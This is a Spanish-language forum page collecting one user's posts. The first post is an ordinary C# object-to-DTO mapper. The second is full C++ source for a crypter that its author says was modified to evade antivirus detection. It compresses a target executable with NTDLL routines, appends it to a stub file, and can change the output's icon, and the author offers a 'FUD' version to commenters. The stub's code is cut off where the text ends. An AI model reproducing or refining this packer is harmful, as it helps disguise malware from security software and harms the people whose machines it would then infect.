Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - xxneeco83xx

#1
C# - VB.NET / Mapper para Entidades [C#]
Julio 29, 2016, 07:48:40 PM
Que tal ! llevo mucho tiempo desde la ultima vez que ingrese aquí y compartí algo, con el tema de que ocurrieron muchos cambios en estos últimos meses y demás, se hizo dificil.
Les dejo un Mapper que desarrolle hace unos días atrás que es una alternativa a el Famoso "AutoMapper" que a mi recomendación es preferible que no se le use, ya que es demaciado lento.
Este codigo que adjuntare junto con su ejemplo de uso, pasara un object con sus navigations properties así mismo sean listas, a DTO o a ViewModel.

Código: csharp

using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text.RegularExpressions;

namespace ConsoleApplication1
{
    public class MapperConfiguration
    {
        public string Name { get; set; }
        public IList<string> AssemblyList { get; set; }
        public List<Assembly> Classes { get; set; }
    }
   
    public static class Mapper
    {
        private static MapperConfiguration _mapperConfiguration = new MapperConfiguration { Name = "DTO" };

        public static void ConfigureMapper(MapperConfiguration mapperConfiguration)
        {
            //_mapperConfiguration.Name = mapperConfiguration.Name;
            _mapperConfiguration = mapperConfiguration;

            if ( mapperConfiguration.AssemblyList != null)
            {
                foreach(var item in mapperConfiguration.AssemblyList)
                {
                    var assemblyTempList = Assembly.ReflectionOnlyLoad(item);
                    _mapperConfiguration.Classes.Add(assemblyTempList);
                }
               
            }
        }

        #region Mapper con configuracion

        public static U MapProperty<T,U>(this T source, IDictionary<string,string> configurationMapper)
            where T : class, new()
            where U : class, new()
        {
            if ( source == null || configurationMapper == null)
            {
                return default(U);
            }

            /*Obtenemos las properties del object source*/
            var sourceProperties = source.GetType().GetProperties();

            var destinyInstance = Activator.CreateInstance(typeof(U));
            var destinyProperties = destinyInstance.GetType().GetProperties();

            foreach(var i in sourceProperties)
            {
                //Buscamos si la property que quiere copiar tiene source
                var firstFind = configurationMapper.FirstOrDefault(m => m.Key.Contains(i.Name));
                if (string.IsNullOrEmpty(firstFind.Key) || string.IsNullOrEmpty(firstFind.Value))
                    continue;

                var secondFind = destinyProperties.FirstOrDefault(m => m.Name.Contains(firstFind.Value));
                if ( secondFind == null)
                {
                    continue;
                }

                if ( i.Name.Contains("Collection"))
                {

                }

                secondFind.SetValue(destinyInstance, i.GetValue(source));

            }

            return (U)destinyInstance;
        }

        #endregion

        #region Formula 1

        /*Metodo para mapear simples objects*/
        public static dynamic Map<T>(this T source)
            where T : class, new()
        {
            //Check for source
            if (source == null )
                return null;

            //Donde almacenaremos el tipo de destino
            Type destinyType = null;

            //Obtenemos todas las clases
            var classList = Assembly.GetExecutingAssembly().GetTypes();

            //Obtenemos las properties del source
            var propertiesSource = source.GetType().GetProperties();

            //Si no podemos obtener clases o properties
            if ( propertiesSource == null || classList == null )
            {
                return new Exception("Error al obtener clases o properties desde el assembly");
            }

            if (source.GetType().ToString().Contains("Collection"))
            {
                if (source.GetType().Name.Contains("ViewModel") || source.GetType().Name.Contains("DTO") || source.GetType().Name.Contains(_mapperConfiguration.Name))
                {
                    var firstTest = Regex.Split(propertiesSource.FirstOrDefault().Name, "ViewModel")[0];
                    if (string.IsNullOrEmpty(firstTest))
                    {
                        firstTest = "DTO";
                    }
                    else
                    {
                        firstTest = "ViewModel";
                    }

                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(Regex.Split(propertiesSource.FirstOrDefault().Name,firstTest)[0] + _mapperConfiguration.Name));
                }
                else
                {
                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(propertiesSource.FirstOrDefault().Name + _mapperConfiguration.Name));
                }
            }
            else
            {
                if (source.GetType().Name.Contains("ViewModel") || source.GetType().Name.Contains("DTO") || source.GetType().Name.Contains(_mapperConfiguration.Name))
                {
                    var firstTest = Regex.Split(source.GetType().Name, "ViewModel")[0];
                    if (string.IsNullOrEmpty(firstTest))
                    {
                        firstTest = "DTO";
                    } else
                    {
                        firstTest = "ViewModel";
                    }

                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(Regex.Split(source.GetType().Name,firstTest)[0] + _mapperConfiguration.Name));
                }
                else
                {
                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(source.GetType().Name + _mapperConfiguration.Name));
                }
            }

            try
            {

                //Creamos la instancia del object
                var instance = Activator.CreateInstance(destinyType);

                //Obtenemos las properties del object de destino
                var propertyOfDestiny = instance.GetType().GetProperties();

                foreach (var item in propertyOfDestiny)
                {
                    //Buscamos la property
                    var result = propertiesSource.FirstOrDefault(m => m.Name == item.Name);
                    if (result != null)
                    {
                        //En caso de que no sea un Object de tipo distinto a los nativos de C#
                        if ((!(result).PropertyType.Name.Contains("String")) && (!(result).PropertyType.Name.Contains("Int"))
                            && (!(result).PropertyType.Name.Contains("Bool")) && (!(result).PropertyType.Name.Contains("Float"))
                            && (!(result).PropertyType.Name.Contains("Double")))
                        {
                            //En caso de ser lista
                            if (result.ToString().Contains("Collection"))
                            {
                                Type type = null;

                                if (result.PropertyType.GetGenericArguments().Single().Name.Contains("ViewModel") || result.PropertyType.GetGenericArguments().Single().Name.Contains("DTO") ||
                                    result.PropertyType.GetGenericArguments().Single().Name.Contains(_mapperConfiguration.Name))
                                {
                                    var firstTest = Regex.Split(result.PropertyType.GetGenericArguments().Single().Name, "ViewModel")[0];
                                    if (string.IsNullOrEmpty(firstTest))
                                    {
                                        firstTest = "DTO";
                                    } else
                                    {
                                        firstTest = "ViewModel";
                                    }

                                    type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.PropertyType.GetGenericArguments().Single().Name,firstTest)[0] + _mapperConfiguration.Name));
                                }
                                else
                                {
                                    type = classList.FirstOrDefault(m => m.FullName.Contains(result.PropertyType.GetGenericArguments().Single().Name + _mapperConfiguration.Name));
                                }

                                if (type == null)
                                {
                                    continue;
                                }

                                var listInstance = (IList)typeof(List<>).MakeGenericType(type).GetConstructor(Type.EmptyTypes).Invoke(null);

                                item.SetValue(instance, ((ICollection)result.GetValue(source)).MapList());
                            }
                            else
                            {
                                Type type = null;
                                if (result.Name.Contains("ViewModel") || result.Name.Contains("DTO") ||
                                    result.Name.Contains(_mapperConfiguration.Name))
                                {

                                    var firstTest = Regex.Split(result.Name, "ViewModel")[0];
                                    if (string.IsNullOrEmpty(firstTest))
                                    {
                                        firstTest = "DTO";
                                    }
                                    else
                                    {
                                        firstTest = "ViewModel";
                                    }

                                    //En caso de ser un object
                                    type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.Name,firstTest)[0] + _mapperConfiguration.Name));
                                }
                                else
                                {
                                    //En caso de ser un object
                                    type = classList.FirstOrDefault(m => m.FullName.Contains(result.Name + _mapperConfiguration.Name));
                                }
                                if (type == null)
                                {
                                    continue;
                                }

                                item.SetValue(instance, result.GetValue(source).Map());
                            }
                        }
                        else
                        {
                            //Property normal
                            item.SetValue(instance, result.GetValue(source));
                        }
                    }
                }

                return instance;

            }
            catch (Exception e)
            {
                return e.Message;
            }

        }

        /*Metodos para mapear listas*/
        public static dynamic MapList<T>(this T source)
            where T : ICollection
        {
            //Check for source
            if (source == null)
                return null;

            if (source.GetType().GetGenericArguments().Count() == 0)
                return null;

            Type destinyType = null;
            bool isCollection = false;

            if (source.GetType().ToString().Contains("Collection"))
            {
                foreach(var i in source)
                {
                    if ( i.GetType().Name.Contains("ViewModel") || i.GetType().Name.Contains("DTO") || i.GetType().Name.Contains(_mapperConfiguration.Name))
                    {
                        var firstTest = Regex.Split(i.GetType().Name, "ViewModel")[0];
                        if (string.IsNullOrEmpty(firstTest))
                        {
                            firstTest = Regex.Split(i.GetType().Name, "DTO")[0];
                        }

                        destinyType = Assembly.GetExecutingAssembly().GetTypes().FirstOrDefault(
                            m => m.Name.Contains(firstTest + _mapperConfiguration.Name));
                    }
                    else
                    {
                        destinyType = Assembly.GetExecutingAssembly().GetTypes().FirstOrDefault(
                            m => m.Name.Contains(i.GetType().Name + _mapperConfiguration.Name));
                    }

                    isCollection = true;

                    break;
                }
            }

            if (!isCollection)
                return new Exception("Este object no es una lista de tipo coleccion");

            var listType = source.GetType().GetGenericArguments().Single();

            //Check if the type of object is or not a collection list.
            if (source.GetType().ToString().Contains("Collection"))
            {
                try
                {
                    dynamic list;

                    //Create instance of list
                    if ( isCollection)
                    {
                        list = (IList)typeof(List<>).MakeGenericType(destinyType).GetConstructor(Type.EmptyTypes).Invoke(null);
                    } else
                    {
                        list = Activator.CreateInstance(destinyType);
                    }

                    //Loop in the list
                    foreach (var i in source)
                    {
                        if (i.GetType().ToString().Contains("Collection"))
                        {
                            var mapped = ((ICollection)i).MapList();

                            foreach (var item in mapped)
                            {
                                ((IList<object>)list).Add(item);
                            }

                        }
                        else
                        {
                            ((IList)list).Add(i.Map());
                        }

                    }

                    return list;
                }
                catch (Exception e)
                {
                    return e.Message;
                }

            }

            return null;
        }

        #endregion

        #region Formula 2

        /*Metodo para mapear simples objects*/
        public static dynamic MapToEntity<T>(this T source)
            where T : class, new()
        {
            //Check for source
            if (source == null)
                return null;

            Type destinyType = null;

            //Obtenemos todas las clases
            var classList = Assembly.GetExecutingAssembly().GetTypes();

            //Obtenemos las properties del source
            var propertiesSource = source.GetType().GetProperties();

            //Si no podemos obtener clases o properties
            if ( propertiesSource == null || classList == null )
            {
                return new Exception("Error al obtener clases o properties desde el assembly");
            }

            if (source.GetType().ToString().Contains("Collection"))
            {
                destinyType = classList.FirstOrDefault(
                    m => m.Name.Contains(Regex.Split(propertiesSource.FirstOrDefault().Name,_mapperConfiguration.Name)[0]));

            }
            else
            {
                destinyType = classList.FirstOrDefault(
                    m => m.Name.Contains(Regex.Split(source.GetType().Name,_mapperConfiguration.Name)[0]));
            }

            try
            {
                //Creamos la instancia del object
                var instance = Activator.CreateInstance(destinyType);

                //Obtenemos las properties del object de destino
                var propertyOfDestiny = instance.GetType().GetProperties();

                foreach (var item in propertyOfDestiny)
                {
                    //Buscamos la property
                    var result = propertiesSource.FirstOrDefault(m => m.Name == item.Name);
                    if (result != null)
                    {
                        //En caso de que no sea un Object de tipo distinto a los nativos de C#
                        if ((!(result).PropertyType.Name.Contains("String")) && (!(result).PropertyType.Name.Contains("Int"))
                            && (!(result).PropertyType.Name.Contains("Bool")) && (!(result).PropertyType.Name.Contains("Float"))
                            && (!(result).PropertyType.Name.Contains("Double")))
                        {
                            //En caso de ser lista
                            if (result.ToString().Contains("Collection"))
                            {
                                var type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.PropertyType.GetGenericArguments()
                                    .Single().Name,_mapperConfiguration.Name)[0]));

                                if (type == null)
                                {
                                    continue;
                                }

                                var listInstance = (IList)typeof(List<>).MakeGenericType(type).GetConstructor(Type.EmptyTypes).Invoke(null);

                                item.SetValue(instance, ((ICollection)result.GetValue(source)).MapToEntityList());
                            }
                            else
                            {
                                //En caso de ser un object
                                var type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.Name,_mapperConfiguration.Name)[0]));

                                if (type == null)
                                {
                                    continue;
                                }

                                item.SetValue(instance, result.GetValue(source).MapToEntity());
                            }
                        }
                        else
                        {
                            //Property normal
                            item.SetValue(instance, result.GetValue(source));
                        }
                    }
                }

                return instance;

            }
            catch (Exception e)
            {
                return e.Message;
            }

        }

        /*Metodos para mapear listas*/
        public static dynamic MapToEntityList<T>(this T source)
            where T : ICollection
        {

            //Check for source
            if (source == null)
                return null;

            if (source.GetType().GetGenericArguments().Count() == 0)
                return null;

            Type destinyType = null;
            bool isCollection = false;

            if (source.GetType().ToString().Contains("Collection"))
            {
                foreach (var i in source)
                {
                    destinyType = Assembly.GetExecutingAssembly().GetTypes().FirstOrDefault(
                    m => m.Name.Contains(Regex.Split(i.GetType().Name,_mapperConfiguration.Name)[0]));

                    isCollection = true;

                    break;
                }
            }

            if (!isCollection)
                return new Exception("Este object no es una lista de tipo coleccion");

            var listType = source.GetType().GetGenericArguments().Single();

            //Check if the type of object is or not a collection list.
            if (source.GetType().ToString().Contains("Collection"))
            {
                try
                {
                    dynamic list;

                    //Create instance of list
                    if (isCollection)
                    {
                        list = (IList)typeof(List<>).MakeGenericType(destinyType).GetConstructor(Type.EmptyTypes).Invoke(null);
                    }
                    else
                    {
                        list = Activator.CreateInstance(destinyType);
                    }

                    //Loop in the list
                    foreach (var i in source)
                    {
                        if (i.GetType().ToString().Contains("Collection"))
                        {
                            var mapped = ((ICollection)i).MapToEntityList();

                            foreach (var item in mapped)
                            {
                                ((IList<object>)list).Add(item);
                            }

                        }
                        else
                        {
                            ((IList)list).Add(i.MapToEntity());
                        }

                    }

                    return list;
                }
                catch (Exception e)
                {
                    return e.Message;
                }

            }

            return null;
        }

        #endregion
    }
}



Ejemplo de uso

Código: csharp

using ConsoleApplication1.DTO;
using ConsoleApplication1.Entidades;
using System;
using System.Collections.Generic;

public class Uno
{
    public string Nombre { get; set; }
    public string Apellido { get; set; }

    public void Saludar(string message, string another)
    {
        Console.WriteLine(message + "\n" + another);
        return;
    }
}

public class Dos
{
    public string Name { get; set; }
    public string SurName { get; set; }

    public void Saludar(string message)
    {
        Console.WriteLine(message);
        return;
    }
}

namespace ConsoleApplication1
{
    public static class RemoteCall
    {
        /*
         * Assembly assembly = Assembly.LoadFile("...Assembly1.dll");
         * Type type = assembly.GetType("TestAssembly.Main");
         */
        public static T Instance<T>()
            where T : class, new()
        {
            return (T)Activator.CreateInstance(typeof(T));
        }

        public static T Invoke<T>(string methodName, object[] parameters)
            where T : class, new()
        {
            var classSource = Instance<T>();
            var methods = classSource.GetType().GetMethods();

            foreach(var i in methods)
            {
                if ( i.Name == methodName)
                {
                    i.Invoke(classSource, parameters);
                }
            }

            return default(T);
        }
    }

    class Program
    {
        static void Main(string[] args)
        {

            var objeto = new Usuario
            {
                Id = 1,
                Nombre = "Nicolas",
                Perfil = new List<Perfil>
                {
                    new Perfil
                    {
                        Tipo = "Normal",
                        Entrega = new Entrega
                        {
                            Proveedor = "Nicolas"
                        }
                    },
                    new Perfil
                    {
                        Tipo = "Punchi",
                        Entrega = new Entrega
                        {
                            Proveedor = "Jebus"
                        }
                    }
                }
            };

            //var instanciado = RemoteCall.Instance<Uno>();
            RemoteCall.Invoke<Dos>("Saludar", new object[] { "hola amigos" } );

            var source = new Uno { Nombre = "Nicolas", Apellido = "Buzzi" };

            var dic = new Dictionary<string, string>();

            dic.Add("Nombre", "Name");
            dic.Add("Apellido", "SurName");

            var mapeo = source.MapProperty<Uno,Dos>(dic);

            var listOfObjects = new List<Usuario>();
            listOfObjects.Add(objeto);
            listOfObjects.Add(objeto);

            //Inicializamos el mapper con nuestra configuracion para adaptarla a viewModel
            Mapper.ConfigureMapper(new MapperConfiguration { Name = "ViewModel" });

            /*Convetimos Entidad a DTO*/
            List<UsuarioViewModel> resultadosViewModel = listOfObjects.MapList();

            /*Convertimos los ViewModel a Entidades*/
            List<Usuario> entidadesDeViewModel = resultadosViewModel.MapToEntityList();

           
            //Inicializamos el mapper con nuestra configuracion para adaptarla a DTOS
            Mapper.ConfigureMapper(new MapperConfiguration { Name = "DTO" });

            //Convertimos el resultado de ViewModels a DTO
            List<UsuarioDTO> resultadosDTO = resultadosViewModel.MapList();

            //Convetimos los DTO a entidad
            var resultEntity = resultadosDTO.MapToEntityList();

            Console.BackgroundColor = ConsoleColor.Black;
            Console.ForegroundColor = ConsoleColor.Green;

            Console.WriteLine("Todo correcto");
            Console.ReadLine();

        }
    }
}



Les dejare el link por si quieren descargarse el proyecto completo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero que les sea de ayuda, y cualquier duda, sugerencia o comentario, estoy a la espera.
Saludos.
#2



Hola, aquí de nuevo trayendo un crypter que habia desarrollado hace un largo tiempo pero que modifique para que los antivirus no lo detectaran, lo que hace este crypter a diferencia del resto
no es usar un método de cifrado si no más bien comprimir el buffer, es decir con APIS nativas reduce el tamaño del archivo a cryptar y de esa forma también dejara indetectable el archivo.
Tiene la función de cambiar el icono si lo desean.
Si el crypter les parece bien, estare subiendo su version FUD para quienes comenten el el post.








CitarCodigo compresor

Código: cpp

#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <mmsystem.h>

/*BULL GOLDEN - Simple Crypter privado*/
#define COMPRESSION_FORMAT_LZNT1 (0x0002)
#define COMPRESSION_ENGINE_STANDARD (0x0000)
#define COMPRESSION_ENGINE_MAXIMUM (0x0100)

DWORD i = 0;

typedef struct _ICONDIRENTRY {
  BYTE bWidth;
  BYTE bHeight;
  BYTE bColorCount;
  BYTE bReserved;
  WORD wPlanes;
  WORD wBitCount;
  DWORD dwBytesInRes;
  DWORD dwImageOffset;
} ICONDIRENTRY,
* LPICONDIRENTRY;

typedef struct _ICONDIR {
  WORD idReserved;
  WORD idType;
  WORD idCount;
  ICONDIRENTRY idEntries[1];
} ICONDIR,
* LPICONDIR;

#pragma pack(2)
typedef struct _GRPICONDIRENTRY {
  BYTE bWidth;
  BYTE bHeight;
  BYTE bColorCount;
  BYTE bReserved;
  WORD wPlanes;
  WORD wBitCount;
  DWORD dwBytesInRes;
  WORD nID;
} GRPICONDIRENTRY,
* LPGRPICONDIRENTRY;

#pragma pack(2)
typedef struct _GRPICONDIR {
  WORD idReserved;
  WORD idType;
  WORD idCount;
  GRPICONDIRENTRY idEntries[1];
} GRPICONDIR,
* LPGRPICONDIR;

typedef ULONG NTSTATUS;

typedef DWORD ( __stdcall *_RtlCompressBuffer)(IN ULONG CompressionFormat, IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN ULONG Unknown, OUT PULONG pDestinationSize, IN PVOID WorkspaceBuffer );

typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize )(IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );

typedef DWORD ( __stdcall *_RtlDecompressBuffer )( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );

LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut);
LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize );
BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize );
DWORD WINAPI vGetFileSize ( IN LPSTR nFileName);
BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName);
LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName );

LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut) {

_RtlCompressBuffer RtlCompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;

DWORD dwRet;
DWORD dwSize;
LPVOID WSB;
 
DWORD dstSize = 16 * szBuffer;

LPSTR szRet = ( LPSTR ) malloc ( dstSize );

RtlCompressBuffer = ( _RtlCompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlCompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlGetCompressionWorkSpaceSize" );

RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet);

WSB = ( LPVOID ) malloc ( dwSize );

RtlCompressBuffer ( COMPRESSION_FORMAT_LZNT1, lpBuffer, szBuffer, szRet, dstSize, 0, dwSizeOut, WSB);

free( WSB );
return szRet;
}

LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut ) {

_RtlDecompressBuffer RtlDecompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;

DWORD dwRet;
DWORD dwSize;
 
DWORD dstSize = 16 * szBuffer;

LPSTR szRet = (LPSTR) malloc ( dstSize );

RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlDecompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlGetCompressionWorkSpaceSize" );

RtlGetCompressionWorkSpaceSize( COMPRESSION_FORMAT_LZNT1,&dwSize,&dwRet);
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,dstSize,lpBuffer,szBuffer,dwSizeOut);

return szRet;
}

LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize ) {

DWORD BytesRead;

HANDLE File = CreateFileA ( lpszFileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return (LPSTR)"ERROR";

DWORD FileSize = GetFileSize ( File, 0 );
LPSTR Buffer = ( LPSTR ) GlobalAlloc ( GPTR, FileSize );

ReadFile ( File, Buffer, FileSize, &BytesRead, 0 );
CloseHandle ( File );

*dwSize = FileSize;

return Buffer;
}

BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize ) {

DWORD BytesRead;

HANDLE File = CreateFileA ( lpszFileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return FALSE;

WriteFile ( File, lpBuffer, dwSize, &BytesRead, 0 );
CloseHandle ( File );

return TRUE;
}

DWORD WINAPI vGetFileSize ( IN LPSTR nFileName ) {

HANDLE hGFS = CreateFileA ( nFileName, GENERIC_READ + GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 );
DWORD szFile = GetFileSize ( hGFS, 0 );

CloseHandle( hGFS );

return szFile;
}

BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName) {

HANDLE hFile = CreateFile(szIFileName, GENERIC_READ,FILE_SHARE_WRITE+FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}

LPICONDIR lpid;
lpid = ( LPICONDIR ) malloc( sizeof( ICONDIR ) );

if(lpid == NULL) {
return FALSE;
}

DWORD dwBytesRead;
ReadFile(hFile, &lpid->idReserved, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idType, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idCount, sizeof(WORD), &dwBytesRead, NULL);
lpid = (LPICONDIR) realloc(lpid, (sizeof(WORD) * 3) + (sizeof(ICONDIRENTRY) * lpid->idCount));

if(lpid == NULL) {
return FALSE;
}

ReadFile(hFile, &lpid->idEntries[0], sizeof(ICONDIRENTRY) * lpid->idCount, &dwBytesRead, NULL);
LPGRPICONDIR lpgid;
lpgid = (LPGRPICONDIR)malloc(sizeof(GRPICONDIR));

if(lpgid == NULL) {
return FALSE;
}

lpgid->idReserved = lpid->idReserved;
lpgid->idType = lpid->idType;
lpgid->idCount = lpid->idCount;
lpgid = (LPGRPICONDIR)realloc(lpgid, (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount));

if(lpgid == NULL) {
return FALSE;
}

for(i = 0; i < lpgid->idCount; i++) {
lpgid->idEntries[i].bWidth = lpid->idEntries[i].bWidth;
lpgid->idEntries[i].bHeight = lpid->idEntries[i].bHeight;
lpgid->idEntries[i].bColorCount = lpid->idEntries[i].bColorCount;
lpgid->idEntries[i].bReserved = lpid->idEntries[i].bReserved;
lpgid->idEntries[i].wPlanes = lpid->idEntries[i].wPlanes;
lpgid->idEntries[i].wBitCount = lpid->idEntries[i].wBitCount;
lpgid->idEntries[i].dwBytesInRes = lpid->idEntries[i].dwBytesInRes;
lpgid->idEntries[i].nID = i + 1;
}

HANDLE hUpdate;
hUpdate = BeginUpdateResource(szEFileName, TRUE);

if(hUpdate == NULL) {
CloseHandle(hFile);
return FALSE;
}

for(i = 0; i < lpid->idCount; i++) {

LPBYTE lpBuffer = (LPBYTE) malloc(lpid->idEntries[i].dwBytesInRes);

if(lpBuffer == NULL) {
CloseHandle(hFile);
return FALSE;
}

SetFilePointer(hFile, lpid->idEntries[i].dwImageOffset, NULL, FILE_BEGIN);
ReadFile(hFile, lpBuffer, lpid->idEntries[i].dwBytesInRes, &dwBytesRead, NULL);

if(UpdateResource(hUpdate, RT_ICON, MAKEINTRESOURCE(lpgid->idEntries[i].nID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpBuffer[0], lpid->idEntries[i].dwBytesInRes) == FALSE) {

CloseHandle(hFile);
free(lpBuffer);
return FALSE;
}

free(lpBuffer);
}

CloseHandle(hFile);

if (UpdateResource(hUpdate, RT_GROUP_ICON, MAKEINTRESOURCE(1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpgid[0], (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount)) == FALSE) {
return FALSE;
}

if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
return FALSE;
}

return TRUE;
}

LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName ) {
     
    char *extension = (char*) malloc ( 4 );
    extension = lpszFileName + lstrlenA ( lpszFileName ) - 4; 
     
return extension;
}

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil ) {

CONSOLE_SCREEN_BUFFER_INFO csbi;
COORD coord_size = { 50, 30 };
COORD coord = { 0, 0 };
SMALL_RECT rect = { 0, 0, coord_size.X-1, coord_size.Y-1 };

if ( PathFileExistsA ( "ambice.mp3" ) ) mciSendStringA ( "play ambice.mp3 repeat", 0, 0, 0  );

DWORD FileSize, dwBytes, BufferCompress, StubSize;
LPSTR FileBuffer;
HANDLE File;

HANDLE Console = GetStdHandle ( STD_OUTPUT_HANDLE );
GetConsoleScreenBufferInfo ( Console, &csbi );

SetConsoleTitle ( "Bull Golden - Crypter - BETA 1" );
SetConsoleTextAttribute ( Console, ( 0xFC ) );
SetConsoleWindowInfo ( Console, true, &rect );
SetConsoleScreenBufferSize ( Console, coord_size );

char *title = (char*)"*****Bull Guard Golden Crypter beta 1*****\n\n";

coord.X = (csbi.dwSize.X/2)-lstrlenA(title)-12, coord.Y = 2;

if ( !PathFileExistsA ( "BULL.DLL" ) ) FatalAppExitA ( 0, "No se ah encontrado el archivo BULL.DLL" );

SetConsoleCursorPosition ( Console, coord );

for ( int i = 0; title [ i ] != 0x00; title [ i ++ ] ) {
putchar ( title [ i ] );
Sleep ( 20 );
}

char *firma = (char*)"*bull*";
size_t length_firma = (size_t) lstrlenA(firma);

char path [ MAX_PATH + 1 ];
fflush ( stdin );

printf ( "\n\n°°Ingrese la ruta del archivo a cryptar:>" );
//fgets ( path, MAX_PATH, stdin );
scanf ( "%s", &path );

printf ( "\n[Al presionar una tecla se cifrara el archivo %s]", path );
system ( "PAUSE>NUL" );

if ( PathFileExistsA ( path ) ) {

LPSTR Buffer = ( LPSTR ) GlobalAlloc ( (0x0000|0x0040), vGetFileSize ( path ) );
Buffer = GetFileBuffer ( path, &FileSize );

LPSTR CompressBufferThis = CompressBuffer ( Buffer, FileSize, &BufferCompress );
//CreateFileName ( nuevo, CompressBufferThis, BufferCompress );

LPSTR StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), vGetFileSize ( (LPSTR)"BULL.DLL" ) );
StubSize = vGetFileSize ( (LPSTR)"BULL.DLL" );

StubBuffer = GetFileBuffer ( (LPSTR)"BULL.DLL", &StubSize );

LPSTR NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), BufferCompress + StubSize + length_firma + 255 );
CopyMemory ( &NewBuffer [ 0 ], &StubBuffer [ 0 ], StubSize );
CopyMemory ( &NewBuffer [ StubSize ], &firma [ 0 ], length_firma );
CopyMemory ( &NewBuffer [ StubSize + length_firma ], &CompressBufferThis [ 0 ], BufferCompress );

CreateFileName ( ( LPSTR ) "BullGeneric.exe", NewBuffer, (StubSize + length_firma + BufferCompress) );

GlobalFree ( FileBuffer );
GlobalFree ( NewBuffer );
GlobalFree ( StubBuffer );

printf ( "\n\n\nSe ah generado el archivo cryptado con exito [%d] bytes totales", BufferCompress );

DWORD reserved;
char letter [ 2 ];
char icon [ MAX_PATH + 1 ];

system ( "cls" );
printf ( "Desea cambiar el icono ? s/n :>" );

scanf ( "%s", &letter );

if ( letter [ 0 ] == 's' || letter [ 0 ] == 'S' ) {
printf ( "\n\nIngrese el directorio del icono:>" );
scanf ( "%s", &icon );

if ( PathFileExistsA ( icon ) ) {
AddIcon ( icon, (LPSTR)"BullGeneric.exe" );
printf ( "\n\t\t\t[Exito al cambiar el icono]\n" );
} else {
printf ( "\n\t\t\t[Ah ocurrido un error al cambiar el icono]" );
}
}

printf ( "\n\n\n[Presione escape para salir]\n" );
while ( !GetAsyncKeyState ( 27 ) );

} else FatalAppExitA ( 0, "No se ah encontrado el archivo especificado" );

return 0;
}



CitarCodigo del stub

Código: cpp

#include <windows.h>

/*BULL GOLDEN - Simple Crypter privado*/

/*#define COMPRESSION_FORMAT_LZNT1 ( 0x0002 )
